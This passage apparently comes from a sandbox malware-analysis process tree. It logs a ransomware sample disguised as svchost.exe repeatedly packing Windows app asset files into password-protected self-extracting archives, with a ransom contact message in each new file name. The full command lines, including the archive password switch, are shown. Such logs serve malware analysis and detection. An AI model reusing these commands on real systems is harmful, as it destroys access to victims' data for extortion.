                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MediumTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MediumTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MediumTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MediumTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SmallTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SmallTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SmallTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SmallTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashWideTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashWideTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashWideTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashWideTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\TinyTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\TinyTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\TinyTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\TinyTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WideTile.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WideTile.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WideTile.scale-125_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.GetHelp_10.1706.13331.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WideTile.scale-125_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedAppList.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedAppList.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedAppList.scale-200_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedAppList.scale-200_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedAppList.scale-200_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedAppList.scale-200_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2760
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedLargeTile.scale-200_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedMedTile.scale-200.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedMedTile.scale-200.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
